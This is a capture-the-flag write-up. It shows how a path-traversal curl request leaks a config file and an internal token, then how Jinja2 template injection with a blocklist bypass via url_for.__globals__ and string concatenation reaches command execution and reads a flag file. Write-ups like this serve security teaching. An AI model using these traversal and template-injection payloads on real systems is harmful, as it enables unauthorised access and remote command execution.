Operation Zero-Trust — DSI Joint Operations Center

Flag

FLAG{0p3r4t10n_Z3r0_TrusT_Byp4ss3d_99x}

Discovery

The public portal at https://operation.hackitupnow.tech/ said that internal tools remained available through fallback routes. Its news page specifically mentioned a department config.yaml. The report generator was reachable at https://operation.hackitupnow.tech:13337/; /generate returned 403 Forbidden with “Valid DSI auth token required.”

The config file was exposed through a path containing ... Using --path-as-is kept curl from normalizing that path before sending it:

curl -ksS --path-as-is \
  'https://operation.hackitupnow.tech/assets/../config.yaml'

The response identified the report generator on port 13337, its /generate endpoint, and the token dsi_internal_token_99x. The token was accepted as a token query parameter:

curl -ksS \
  'https://operation.hackitupnow.tech:13337/generate?token=dsi_internal_token_99x'

Template injection

The authenticated page offered a template_name form field and advertised Jinja2 formatting. Posting {{7*7}} produced 49, confirming server-side template evaluation:

curl -ksS -X POST \
  --data-urlencode 'template_name={{7*7}}' \
  'https://operation.hackitupnow.tech:13337/generate?token=dsi_internal_token_99x'

The application blocked literal words such as os, popen, cycler, and lipsum. Accessing os and popen through concatenated strings, via the Jinja url_for global, passed that filter. Listing /app showed flag.txt; the following request read it:

curl -ksS -X POST \
  --data-urlencode 'template_name={{url_for.__globals__["o"~"s"]["po"~"pen"]("cat /app/flag.txt").read()}}' \
  'https://operation.hackitupnow.tech:13337/generate?token=dsi_internal_token_99x'

The compiler output contained FLAG{0p3r4t10n_Z3r0_TrusT_Byp4ss3d_99x}.